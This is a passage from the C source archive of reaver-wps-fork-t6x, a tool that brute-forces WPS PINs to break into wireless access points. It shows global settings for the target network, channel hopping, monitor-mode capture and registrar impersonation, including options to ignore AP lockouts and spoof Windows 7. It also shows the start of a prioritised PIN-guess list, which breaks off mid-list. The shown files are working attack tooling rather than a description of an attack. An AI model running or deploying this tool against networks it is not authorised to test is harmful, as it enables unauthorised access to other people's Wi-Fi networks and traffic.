globule->rx_timeout; } void set_timeout_is_nack(int value) { globule->timeout_is_nack = value; } int get_timeout_is_nack() { return globule->timeout_is_nack; } void set_m57_timeout(int value) { globule->m57_timeout = value; } int get_m57_timeout() { return globule->m57_timeout; } void set_out_of_time(int value) { globule->out_of_time = value; } int get_out_of_time() { return globule->out_of_time; } void set_debug(enum debug_level value) { globule->debug = value; if(value == DEBUG) wpa_debug_level = MSG_DEBUG; } enum debug_level get_debug() { return globule->debug; } void set_eapol_start_count(int value) { globule->eapol_start_count = value; } int get_eapol_start_count() { return globule->eapol_start_count; } void set_fixed_channel(int value) { globule->fixed_channel = value; } int get_fixed_channel() { return globule->fixed_channel; } void set_auto_channel_select(int value) { globule->auto_channel_select = value; } int get_auto_channel_select() { return globule->auto_channel_select; } void set_wifi_band(int value) { globule->wifi_band = value; } int get_wifi_band() { return globule->wifi_band; } void set_opcode(enum wsc_op_code value) { globule->opcode = value; } enum wsc_op_code get_opcode() { return globule->opcode; } void set_eap_id(uint8_t value) { globule->eap_id = value; } uint8_t get_eap_id() { return globule->eap_id; } void set_ap_capability(uint16_t value) { globule->ap_capability = value; } uint16_t get_ap_capability() { return globule->ap_capability; } void set_channel(int channel) { globule->channel = channel; } int get_channel(void) { return globule->channel; } void set_bssid(unsigned char *value) { memcpy(globule->bssid, value, MAC_ADDR_LEN); } unsigned char *get_bssid() { return globule->bssid; } void set_mac(unsigned char *value) { memcpy(globule->mac, value, MAC_ADDR_LEN); } unsigned char *get_mac() { return globule->mac; } void set_ssid(char *value) { if(globule->ssid) { free(globule->ssid); globule->ssid = NULL; } if(value) { if(strlen(value) > 0) { globule->ssid = strdup(value); } } } char *get_ssid() { return globule->ssid; } void set_iface(char *value) { if(value) { if(globule->iface) { free(globule->iface); } globule->iface = strdup(value); } else if(globule->iface) { free(globule->iface); globule->iface = NULL; } } char *get_iface() { return globule->iface; } void set_pin(char *value) { if(globule->pin) free(globule->pin); globule->pin = (value) ? strdup(value) : NULL; } char *get_pin() { return globule->pin; } void set_static_p1(char *value) { if(globule->static_p1) free(globule->static_p1); globule->static_p1 = (value) ? strdup(value) : NULL; } char *get_static_p1(void) { return globule->static_p1; } void set_static_p2(char *value) { if(globule->static_p2) free(globule->static_p2); globule->static_p2 = (value) ? strdup(value) : NULL; } char *get_static_p2(void) { return globule->static_p2; } void set_pin_string_mode(int value) { globule->use_pin_string = value; } int get_pin_string_mode(void) { return globule->use_pin_string; } void set_win7_compat(int value) { globule->win7_compat = value; } int get_win7_compat(void) { return globule->win7_compat; } void set_dh_small(int value) { globule->dh_small = value; } int get_dh_small(void) { return globule->dh_small; } void set_external_association(int value) { globule->external_association = value; } int get_external_association(void) { return globule->external_association; } void set_nack_reason(enum nack_code value) { globule->nack_reason = value; } enum nack_code get_nack_reason() { return globule->nack_reason; } void set_handle(pcap_t *value) { globule->handle = value; } pcap_t *get_handle() { return globule->handle; } void set_wps(struct wps_data *value) { globule->wps = value; } struct wps_data *get_wps() { return globule->wps; } void set_ap_htcaps(unsigned char *value, int len) { free(globule->htcaps); globule->htcaps = malloc(len); globule->htcaps_len = len; memcpy(globule->htcaps, value, len); } unsigned char *get_ap_htcaps(int *len) { *len = globule->htcaps_len; return globule->htcaps; } void set_ap_rates(unsigned char *value, int len) { if(globule->ap_rates) { free(globule->ap_rates); globule->ap_rates_len = 0; } globule->ap_rates = malloc(len); if(globule->ap_rates) { memcpy(globule->ap_rates, value, len); globule->ap_rates_len = len; } } unsigned char *get_ap_rates(int *len) { *len = globule->ap_rates_len; return globule->ap_rates; } void set_ap_ext_rates(unsigned char *value, int len) { if(globule->ap_ext_rates) { free(globule->ap_ext_rates); globule->ap_ext_rates_len = 0; } globule->ap_ext_rates = malloc(len); if(globule->ap_ext_rates) { memcpy(globule->ap_ext_rates, value, len); globule->ap_ext_rates_len = len; } } unsigned char *get_ap_ext_rates(int *len) { *len = globule->ap_ext_rates_len; return globule->ap_ext_rates; } void set_exec_string(char *string) { if(globule->exec_string) { free(globule->exec_string); globule->exec_string = NULL; } if(string) { globule->exec_string = strdup(string); } } char *get_exec_string(void) { return globule->exec_string; } void set_oo_send_nack(int value) { globule->oo_send_nack = value; } int get_oo_send_nack(void) { return globule->oo_send_nack; } void set_vendor(int is_set, const unsigned char* v) { globule->vendor_oui[0] = is_set; if(is_set) memcpy(globule->vendor_oui+1, v, 3); } unsigned char *get_vendor(void) { if(!globule->vendor_oui[0]) return 0; return globule->vendor_oui+1; } void set_repeat_m6(int val) { globule->repeat_m6 = val; } int get_repeat_m6(void) { return globule->repeat_m6; } int get_output_fd(void) { return globule->output_fd; } #include "pcapfile.h" void set_output_fd(int fd) { globule->output_fd = fd; if (fd != -1) pcapfile_write_header(fd); } reaver-wps-fork-t6x-1.6.6/src/globule.h000066400000000000000000000237311363372615500177070ustar00rootroot00000000000000/* * Reaver - Global variable access functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef GLOBULE_H #define GLOBULE_H #include "defs.h" struct globals { int last_wps_state; /* Holds the previous WPS state as stored in wps->state */ int p1_index; /* Index into p1 array for building WPS pins */ int p2_index; /* Index into p2 array for building WPS pins */ char *p1[P1_SIZE]; /* Array of all possible values for the firt half of the pin */ char *p2[P2_SIZE]; /* Array of all possible values for the second half of the pin */ char *static_p1; /* Static P1, as supplied by the user */ char *static_p2; /* Static P2, as supplied by the user */ int use_pin_string; /* Use arbitrary string pin */ enum key_state key_status; /* Indicates the status of the key cracking: KEY1_WIP | KEY2_WIP | KEY_DONE */ int dh_small; /* Use small DH keys to improve WPS speed */ int external_association; /* Use an external application to perform AP association */ int oo_send_nack; /* Set to 1 to send WSC_NACK when an out of order packet is received */ int win7_compat; /* Set to 1 to make WPS messages mimic Windows 7 settings. */ int delay; /* Seconds to sleep in between key attempts */ int fail_delay; /* Seconds to sleep after WARN_FAILURE_COUNT WPS exchange failures */ int recurring_delay; /* Sleep recurring_delay seconds for every recurring_delay_count attempts */ int lock_delay; /* Sleep lock_delay seconds when wpscrack detects that the AP has locked WPS pin attempts */ int ignore_locks; /* Ignore locked state */ int recurring_delay_count; /* Enter a recurring delay after recurring_delay_count pin attempts */ int eap_terminate; /* Experimental */ int max_pin_attempts; /* Maximum number of pin attempts */ int rx_timeout; /* Receive timeout period (seconds) */ int timeout_is_nack; /* Treat M5/M7 receive timeouts as NACKs (only needed for shoddy WPS implementations) */ int m57_timeout; /* Timeout period for receiving an M5/M7 response (uSeconds) */ int out_of_time; /* Set to 1 when sigalrm sounds */ unsigned long long resend_timeout_usec; /* how many microsecs to wait before resending last packet */ enum debug_level debug; /* Current debug level: INFO | CRITICAL | WARNING | VERBOSE */ int eapol_start_count; /* Tracks how many times in a row we've attempted to start and EAP session */ int fixed_channel; /* Disables channel hopping if set */ int auto_channel_select; /* Diables automatic parsing and changing of the current channel number, as specified in the AP's beacon packet */ int wifi_band; /* Determines if we use the A/N bands or B/G bands */ int channel; /* Holds the current channel number */ int repeat_m6; /* Repeat M6 upon receipt of out-of-order M5s */ int max_num_probes; /* Maximum number of probe requests to send to an AP during survey mode */ int validate_fcs; /* If 1, validate each packet's FCS. If 0, process packets even with invalid FCS. */ enum wsc_op_code opcode; /* WFA opcode, received by exchange.c and used by builder.c */ uint8_t eap_id; /* Tracks the EAP ID value for building EAP repsonse headers */ uint16_t ap_capability; /* Capability information of the target AP as specified in the AP's beacon packets */ unsigned char bssid[MAC_ADDR_LEN]; /* Target BSSID */ unsigned char mac[MAC_ADDR_LEN]; /* Source MAC address */ unsigned char vendor_oui[1+3]; /* the first byte contains 1 if set, 0 if not, the next 3 bytes the actual vendor OUI */ unsigned char *htcaps; /* Wireless N HT capabilities of the AP */ int htcaps_len; /* lenght of the Wireless N HT capabilities of the AP */ unsigned char *ap_rates; /* Supported rates IE data, as reported by the AP */ int ap_rates_len; /* Length of the supported rates IE data */ unsigned char *ap_ext_rates; /* Supported ext rates IE data, as reported by the AP */ int ap_ext_rates_len; /* Length of the supported ext rates IE data */ FILE *fp; /* Handle to log file */ char *session; /* Path to session file */ char *ssid; /* Target SSID */ char *iface; /* Interface name */ char *pin; /* Pointer to the recovered WPS pin value */ char *exec_string; /* Pointer to user-supplied command to execute upon success */ enum nack_code nack_reason; /* Stores the nack code for the last received WSC_NACK message */ pcap_t *handle; /* Pcap handle */ int output_fd; /* handle for output pcap file */ uint64_t uptime; /* uptime of AP */ struct wps_data *wps; /* * wpa_supplicant's wps_data structure, needed for almost all wpa_supplicant * function calls. */ }; extern struct globals *globule; int globule_init(); void globule_deinit(); void set_log_file(FILE *fp); FILE *get_log_file(void); void set_last_wps_state(int state); int get_last_wps_state(); void set_session(char *value); char *get_session(); void set_p1_index(int index); int get_p1_index(); void set_p2_index(int index); int get_p2_index(); void set_p1(int index, char *value); char *get_p1(int index); void set_p2(int index, char *value); char *get_p2(int index); void set_key_status(enum key_state status); enum key_state get_key_status(); void set_delay(int delay); int get_delay(); void set_fail_delay(int delay); int get_fail_delay(); void set_validate_fcs(int validate); int get_validate_fcs(void); void set_recurring_delay(int delay); int get_recurring_delay(); void set_recurring_delay_count(int value); int get_recurring_delay_count(); void set_lock_delay(int value); int get_lock_delay(); void set_ignore_locks(int value); int get_ignore_locks(); void set_eap_terminate(int value); int get_eap_terminate(); void set_max_pin_attempts(int value); int get_max_pin_attempts(); int get_max_num_probes(); void set_max_num_probes(int value); void set_rx_timeout(int value); int get_rx_timeout(); void set_timeout_is_nack(int value); int get_timeout_is_nack(); void set_m57_timeout(int value); int get_m57_timeout(); void set_out_of_time(int value); int get_out_of_time(); void set_debug(enum debug_level value); enum debug_level get_debug(); void set_eapol_start_count(int value); int get_eapol_start_count(); void set_fixed_channel(int value); int get_fixed_channel(); void set_auto_channel_select(int value); int get_auto_channel_select(); void set_wifi_band(int value); int get_wifi_band(); void set_opcode(enum wsc_op_code value); enum wsc_op_code get_opcode(); void set_eap_id(uint8_t value); uint8_t get_eap_id(); void set_ap_capability(uint16_t value); uint16_t get_ap_capability(); void set_bssid(unsigned char *value); unsigned char *get_bssid(); void set_mac(unsigned char *value); unsigned char *get_mac(); void set_channel(int channel); int get_channel(void); void set_ssid(char *value); char *get_ssid(); void set_iface(char *value); char *get_iface(); void set_pin(char *value); char *get_pin(); void set_static_p1(char *value); char *get_static_p1(void); void set_static_p2(char *value); char *get_static_p2(void); void set_pin_string_mode(int value); int get_pin_string_mode(void); void set_win7_compat(int value); int get_win7_compat(void); void set_dh_small(int value); int get_dh_small(void); void set_external_association(int value); int get_external_association(void); void set_nack_reason(enum nack_code value); enum nack_code get_nack_reason(); void set_handle(pcap_t *value); pcap_t *get_handle(); void set_wps(struct wps_data *value); struct wps_data *get_wps(); void set_ap_rates(unsigned char *value, int len); unsigned char *get_ap_rates(int *len); void set_ap_ext_rates(unsigned char *value, int len); unsigned char *get_ap_ext_rates(int *len); void set_ap_htcaps(unsigned char *value, int len); unsigned char *get_ap_htcaps(int *len); void set_exec_string(char *string); char *get_exec_string(void); void set_oo_send_nack(int value); int get_oo_send_nack(void); void set_vendor(int, const unsigned char*); unsigned char *get_vendor(void); void set_repeat_m6(int); int get_repeat_m6(void); void set_output_fd(int fd); int get_output_fd(void); #endif reaver-wps-fork-t6x-1.6.6/src/iface.c000066400000000000000000000136241363372615500173200ustar00rootroot00000000000000/* * Reaver - Wireless interface functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "iface.h" #include "lwe/iwlib.h" #include "globule.h" #include #include #include #include #if defined(__FreeBSD__) || defined(__APPLE__) #include #include int read_iface_mac() { struct ifaddrs* iflist; int found = 0; if (getifaddrs(&iflist) == 0) { struct ifaddrs* cur; for (cur = iflist; cur; cur = cur->ifa_next) { if ((cur->ifa_addr->sa_family == AF_LINK) && (strcmp(cur->ifa_name, get_iface()) == 0) && cur->ifa_addr) { struct sockaddr_dl* sdl = (struct sockaddr_dl*)cur->ifa_addr; set_mac(LLADDR(sdl)); found = 1; break; } } freeifaddrs(iflist); } return found; } #else /* Populates globule->mac with the MAC address of the interface globule->iface */ int read_iface_mac() { struct ifreq ifr; struct ether_addr *eth = NULL; int sock = 0, ret_val = 0; /* Need a socket for the ioctl call */ sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); if(sock != -1) { eth = malloc(sizeof(struct ether_addr)); if(eth) { memset(eth, 0, sizeof(struct ether_addr)); /* Prepare request */ memset(&ifr, 0, sizeof(struct ifreq)); strncpy(ifr.ifr_name, get_iface(), IFNAMSIZ); /* Do it */ if(ioctl(sock, SIOCGIFHWADDR, &ifr) == 0) { set_mac((unsigned char *) &ifr.ifr_hwaddr.sa_data); ret_val = 1; } free(eth); } close(sock); } return ret_val; } #endif /* * Goes to the next 802.11 channel. * This is mostly required for APs that hop channels, which usually hop between channels 1, 6, and 11. * We just hop channels until we successfully associate with the AP. * The AP's actual channel number is parsed and set by parse_beacon_tags() in 80211.c. */ int next_channel() { #define BG_CHANNELS 14, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 #define AN_CHANNELS 16, 34, 36, 38, 40, 42, 44, 46, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165, 183, 184, 185, 187, 188, 189, 192, 196 static int i; static const short bg_channels[] = {BG_CHANNELS}; static const short an_channels[] = {AN_CHANNELS}; static const short bgan_channels[] = {BG_CHANNELS, AN_CHANNELS}; static const int band_chan_count[] = { [BG_BAND] = sizeof(bg_channels)/sizeof(bg_channels[0]), [AN_BAND] = sizeof(an_channels)/sizeof(an_channels[0]), [BG_BAND|AN_BAND] = sizeof(bgan_channels)/sizeof(bgan_channels[0]), }; static const short* band_select[] = { [BG_BAND] = bg_channels, [AN_BAND] = an_channels, [BG_BAND|AN_BAND] = bgan_channels, }; int band = get_wifi_band(); const short *channels = band_select[band]; int n = band_chan_count[band]; /* Only switch channels if fixed channel operation is disabled */ if(!get_fixed_channel()) { i++; if((i >= n) || i < 0) i = 0; return change_channel(channels[i]); } return 0; } /* Sets the 802.11 channel for the selected interface */ #ifdef __APPLE__ int change_channel(int channel) { cprintf(VERBOSE, "[+] Switching %s to channel %d\n", get_iface(), channel); // Unfortunately, there is no API to change the channel pid_t pid = fork(); if (!pid) { char chan_arg[32]; sprintf(chan_arg, "-c%d", channel); char* argv[] = {"/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport", chan_arg, NULL}; execve("/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport", argv, NULL); } int status; waitpid(pid,&status,0); set_channel(channel); return 0; } #else int change_channel(int channel) { int skfd = 0, ret_val = 0; struct iwreq wrq; memset((void *) &wrq, 0, sizeof(struct iwreq)); /* Open NET socket */ if((skfd = iw_sockets_open()) < 0) { perror("iw_sockets_open"); } else if(get_iface()) { /* Convert channel to a frequency */ iw_float2freq((double) channel, &(wrq.u.freq)); /* Fixed frequency */ wrq.u.freq.flags = IW_FREQ_FIXED; cprintf(VERBOSE, "[+] Switching %s to channel %d\n", get_iface(), channel); /* Set frequency */ if(iw_set_ext(skfd, get_iface(), SIOCSIWFREQ, &wrq) >= 0) { set_channel(channel); ret_val = 1; } iw_sockets_close(skfd); } return ret_val; } #endif reaver-wps-fork-t6x-1.6.6/src/iface.h000066400000000000000000000034071363372615500173230ustar00rootroot00000000000000/* * Reaver - Wireless interface functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef IFACE_H #define IFACE_H #define BG_BAND (1 << 0) #define AN_BAND (1 << 1) int read_iface_mac(); int next_channel(); int change_channel(int channel); #endif reaver-wps-fork-t6x-1.6.6/src/init.c000066400000000000000000000136211363372615500172110ustar00rootroot00000000000000/* * Reaver - Initialization functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "init.h" /* * Generates a wps_config structure which is passed to wps_init() to create * an initial wps_data structure. */ struct wps_data *initialize_wps_data() { struct wps_config *wpsconf = NULL; struct wps_data *wps = NULL; struct wps_registrar_config *reg_conf = NULL; wpsconf = malloc(sizeof(struct wps_config)); if(!wpsconf) { perror("malloc"); goto end; } memset(wpsconf, 0, sizeof(struct wps_config)); reg_conf = malloc(sizeof(struct wps_registrar_config)); if(!reg_conf) { perror("malloc"); goto end; } memset(reg_conf, 0, sizeof(struct wps_registrar_config)); /* Configure ourselves as a registrar */ wpsconf->registrar = 1; /* Tell the AP to not generate a random PSK */ reg_conf->disable_auto_conf = 1; /* Allocate space for the wps_context structure member */ wpsconf->wps = malloc(sizeof(struct wps_context)); if(!wpsconf->wps) { perror("malloc"); goto end; } memset(wpsconf->wps, 0, sizeof(struct wps_context)); /* * Initialize the registrar sub-structure. This is necessary when calling * wpa_supplicant functions to build registrar response payloads. */ wpsconf->wps->registrar = wps_registrar_init(wpsconf->wps, (const struct wps_registrar_config *) reg_conf); if(wpsconf->wps->registrar == NULL) { cprintf(CRITICAL, "[X] ERROR: Failed to initialize registrar structure!\n"); } /* * In registrar mode, only the uuid wps_context member needs to be * populated in order to call wps_init(). If acting as an enrollee, * the wps_device_data sub-structure must also be populated. */ if(os_get_random(wpsconf->wps->uuid, UUID_LEN) == -1) { memcpy(wpsconf->wps->uuid, DEFAULT_UUID, UUID_LEN); } wps = wps_init(wpsconf); if(wps) { /* Report that we are a Windows 7 registrar, if --win7 was specified on the command line */ if(wps->wps && get_win7_compat()) { wps->wps->dev.device_name = WPS_DEVICE_NAME; wps->wps->dev.manufacturer = WPS_MANUFACTURER; wps->wps->dev.model_name = WPS_MODEL_NAME; wps->wps->dev.model_number = WPS_MODEL_NUMBER; memcpy(wps->wps->dev.pri_dev_type, WPS_DEVICE_TYPE, WPS_DEV_TYPE_LEN); memcpy((void *) &wps->wps->dev.os_version, WPS_OS_VERSION, 4); wps->wps->dev.rf_bands = WPS_RF_BANDS; } } end: if(wpsconf) free(wpsconf); if(reg_conf) free(reg_conf); return wps; } /* Initializes pcap capture settings and returns a pcap handle on success, NULL on error */ pcap_t *capture_init(char *capture_source) { pcap_t *handle; char errbuf[PCAP_ERRBUF_SIZE] = { 0 }; int status; int activate_rfmon = 0; handle = pcap_open_offline(capture_source, errbuf); if(handle) return handle; #ifdef __APPLE__ // must disassociate from any current AP. This is the only way. pid_t pid = fork(); if (!pid) { char* argv[] = {"/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport", "-z", NULL}; execve("/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport", argv, NULL); } waitpid(pid,&status,0); activate_rfmon = 1; #endif handle = pcap_create(capture_source, errbuf); if (handle) { pcap_set_snaplen(handle, 65536); pcap_set_timeout(handle, 50); pcap_set_rfmon(handle, activate_rfmon); pcap_set_promisc(handle, 1); if(!(status = pcap_activate(handle))) return handle; if(status == PCAP_ERROR_RFMON_NOTSUP) { pcap_set_rfmon(handle, 0); status = pcap_activate(handle); if(!status) return handle; } cprintf(CRITICAL, "[X] ERROR: pcap_activate status %d\n", status); static const char *pcap_errmsg[] = { [1] = "generic error code", [2] = "loop terminated by pcap_breakloop", [3] = "the capture needs to be activated", [4] = "the operation can't be performed on already activated captures", [5] = "no such device exists", [6] = "this device doesn't support rfmon (monitor) mode", [7] = "operation supported only in monitor mode", [8] = "no permission to open the device", [9] = "interface isn't up", [10]= "this device doesn't support setting the time stamp type", [11]= "you don't have permission to capture in promiscuous mode", [12]= "the requested time stamp precision is not supported", }; if(status < 0 && status > -13) cprintf(CRITICAL, "[X] PCAP: %s\n", pcap_errmsg[-status]); pcap_close(handle); handle = 0; } if(!handle) { cprintf(CRITICAL, "couldn't get pcap handle, exiting\n"); exit(1); } return handle; } reaver-wps-fork-t6x-1.6.6/src/init.h000066400000000000000000000036001363372615500172120ustar00rootroot00000000000000/* * Reaver - Initialization functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef INIT_H #define INIT_H #include "defs.h" #include "misc.h" #define DEFAULT_UUID "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" #define UUID_LEN 16 struct wps_data *initialize_wps_data(); pcap_t *capture_init(char *capture_source); #endif reaver-wps-fork-t6x-1.6.6/src/install.sh000077500000000000000000000016341363372615500201100ustar00rootroot00000000000000#!/bin/sh # # This is an actually-safe install command which installs the new # file atomically in the new location, rather than overwriting # existing files. # usage() { printf "usage: %s [-D] [-l] [-m mode] src dest\n" "$0" 1>&2 exit 1 } mkdirp= symlink= mode=755 while getopts Dlm: name ; do case "$name" in D) mkdirp=yes ;; l) symlink=yes ;; m) mode=$OPTARG ;; ?) usage ;; esac done shift $(($OPTIND - 1)) test "$#" -eq 2 || usage src=$1 dst=$2 tmp="$dst.tmp.$$" case "$dst" in */) printf "%s: %s ends in /\n", "$0" "$dst" 1>&2 ; exit 1 ;; esac set -C set -e if test "$mkdirp" ; then umask 022 case "$2" in */*) mkdir -p "${dst%/*}" ;; esac fi trap 'rm -f "$tmp"' EXIT INT QUIT TERM HUP umask 077 if test "$symlink" ; then ln -s "$1" "$tmp" else cat < "$1" > "$tmp" chmod "$mode" "$tmp" fi mv -f "$tmp" "$2" test -d "$2" && { rm -f "$2/$tmp" printf "%s: %s is a directory\n" "$0" "$dst" 1>&2 exit 1 } exit 0 reaver-wps-fork-t6x-1.6.6/src/keys.c000066400000000000000000005611731363372615500172330ustar00rootroot00000000000000/* * Reaver - All possible WPS PIN combinations * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "keys.h" /* Arrays of possible pin combinations. Pins with a priority field of 1 get tried first. */ struct key k1[P1_SIZE] = { { "1234", 1 }, { "0000", 1 }, { "0001", 0 }, { "0002", 0 }, { "0003", 0 }, { "0004", 0 }, { "0005", 0 }, { "0006", 0 }, { "0007", 0 }, { "0008", 0 }, { "0009", 0 }, { "0010", 0 }, { "0011", 0 }, { "0012", 0 }, { "0013", 0 }, { "0014", 0 }, { "0015", 0 }, { "0016", 0 }, { "0017", 0 }, { "0018", 0 }, { "0019", 0 }, { "0020", 0 }, { "0021", 0 }, { "0022", 0 }, { "0023", 0 }, { "0024", 0 }, { "0025", 0 }, { "0026", 0 }, { "0027", 0 }, { "0028", 0 }, { "0029", 0 }, { "0030", 0 }, { "0031", 0 }, { "0032", 0 }, { "0033", 0 }, { "0034", 0 }, { "0035", 0 }, { "0036", 0 }, { "0037", 0 }, { "0038", 0 }, { "0039", 0 }, { "0040", 0 }, { "0041", 0 }, { "0042", 0 }, { "0043", 0 }, { "0044", 0 }, { "0045", 0 }, { "0046", 0 }, { "0047", 0 }, { "0048", 0 }, { "0049", 0 }, { "0050", 0 }, { "0051", 0 }, { "0052", 0 }, { "0053", 0 }, { "0054", 0 }, { "0055", 0 }, { "0056", 0 }, { "0057", 0 }, { "0058", 0 }, { "0059", 0 }, { "0060", 0 }, { "0061", 0 }, { "0062", 0 }, { "0063", 0 }, { "0064", 0 }, { "0065", 0 }, { "0066", 0 }, { "0067", 0 }, { "0068", 0 }, { "0069", 0 }, { "0070", 0 }, { "0071", 0 }, { "0072", 0 }, { "0073", 0 }, { "0074", 0 }, { "0075", 0 }, { "0076", 0 }, { "0077", 0 }, { "0078", 0 }, { "0079", 0 }, { "0080", 0 }, { "0081", 0 }, { "0082", 0 }, { "0083", 0 }, { "0084", 0 }, { "0085", 0 }, { "0086", 0 }, { "0087", 0 }, { "0088", 0 }, { "0089", 0 }, { "0090", 0 }, { "0091", 0 }, { "0092", 0 }, { "0093", 0 }, { "0094", 0 }, { "0095", 0 }, { "0096", 0 }, { "0097", 0 }, { "0098", 0 }, { "0099", 0 }, { "0100", 0 }, { "0101", 0 }, { "0102", 0 }, { "0103", 0 }, { "0104", 0 }, { "0105", 0 }, { "0106", 0 }, { "0107", 0 }, { "0108", 0 }, { "0109", 0 }, { "0110", 0 }, { "0111", 0 }, { "0112", 0 }, { "0113", 0 }, { "0114", 0 }, { "0115", 0 }, { "0116", 0 }, { "0117", 0 }, { "0118", 0 }, { "0119", 0 }, { "0120", 0 }, { "0121", 0 }, { "0122", 0 }, { "0123", 1 }, { "0124", 0 }, { "0125", 0 }, { "0126", 0 }, { "0127", 0 }, { "0128", 0 }, { "0129", 0 }, { "0130", 0 }, { "0131", 0 }, { "0132", 0 }, { "0133", 0 }, { "0134", 0 }, { "0135", 0 }, { "0136", 0 }, { "0137", 0 }, { "0138", 0 }, { "0139", 0 }, { "0140", 0 }, { "0141", 0 }, { "0142", 0 }, { "0143", 0 }, { "0144", 0 }, { "0145", 0 }, { "0146", 0 }, { "0147", 0 }, { "0148", 0 }, { 